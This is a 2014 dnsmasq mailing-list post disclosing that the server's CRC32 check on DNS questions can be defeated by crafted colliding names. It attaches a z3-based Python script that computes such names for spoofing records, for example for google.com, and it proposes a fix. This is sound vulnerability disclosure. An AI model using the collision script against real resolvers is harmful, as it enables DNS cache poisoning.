[Dnsmasq-discuss] Possible cache poisoning issues / CRC32

Julian Bangert bangert at MIT.EDU
Fri Jan 24 23:20:12 GMT 2014


Hello,

I was looking through the DNSmasq source code and it seems to be that 
the primary protection against DNS spoofing (the server including 
responses not requested by the client) is the CRC32 hash of the 
questions (questions_crc in rfc1035.c).
It is quite possible to construct domain names that lead to a full 
collision of the CRC32 hash - in addition to sending a response to the 
original domain and the RR to be spoofed, an attacker can send back a 
third RR that produces the CRC32 collision. A python program to compute 
this domain name with a SAT solver is attached.

While I don't know how this could be directly exploited (the caching DNS 
server upstream of dnsmasq would filter out spoofing requests), I think 
it would be prudent to replace the code in question (either perform a 
deep-compare of domain names, or use a better hash function such as SHA1 
- I don't think the performance overhead of questions_crc is that 
significant, as the input size tends to be quite small).

Regards,
Julian Bangert

#!/usr/bin/env python2
from z3 import *
def crc_iter(crc):
     poly = BitVecVal(0x04c11db7,32)
     mask = BitVecVal(0x80000000,32)
     return If(crc & mask != 0,  (crc << 1) ^ poly, crc<< 1)
def crc_char(crc,char):
     crc = crc ^ (char << 24)
     for x in range(8):
         crc = crc_iter(crc)
     return crc

def encode_string(str):
     return [BitVecVal(ord(str[index]),32) for index in range(len(str))]

def crc_string(crc,str):
     for bv in str:
         crc = crc_char(crc,bv)
     return crc
def allow_char(s,c):
     s.add (Or(And(c >= ord('a'),c <= ord('z')), c==ord('.')))
def calc_crc(str):
     s = Solver()
     s.add(BitVec("test",32) == crc_string(0xffffffff,[ord(x) for x in 
str]))
     s.check()
     m=s.model()
     return m[m[0]].as_long()
def crc_free(target,prefix,nvalues):
     s = Solver()
     freevals = [BitVec('input_%s' % (i+1),32) for i in range(nvalues)]
     for val in freevals:
         allow_char(s,val)
     crc_init = calc_crc(prefix)
     crc_fini = calc_crc(target)
     crc = crc_string(crc_init,freevals)
     s.add (crc_fini == crc)
     return s
#
def a_query(str):
     return(str+ "\x00\x01\x00\x01")

def dns_spoof(my_domain,poison):
     s= crc_free(my_domain,a_query(my_domain)+a_query(poison),7)
     s.check()
     m= s.model()
     domain=""
     for decl in sorted(m.decls(), key= lambda x: x.name()):
         domain+= chr(m[decl].as_long())

     return domain

print hex(calc_crc(a_query("p.spargelzeit.mooo.com")))
print hex(calc_crc(a_query("p.spargelzeit.mooo.com") + 
a_query("google.com") +a_query("qnhhwrv")))
print dns_spoof("p.spargelzeit.mooo.com","google.com")




More information about the Dnsmasq-discuss mailing list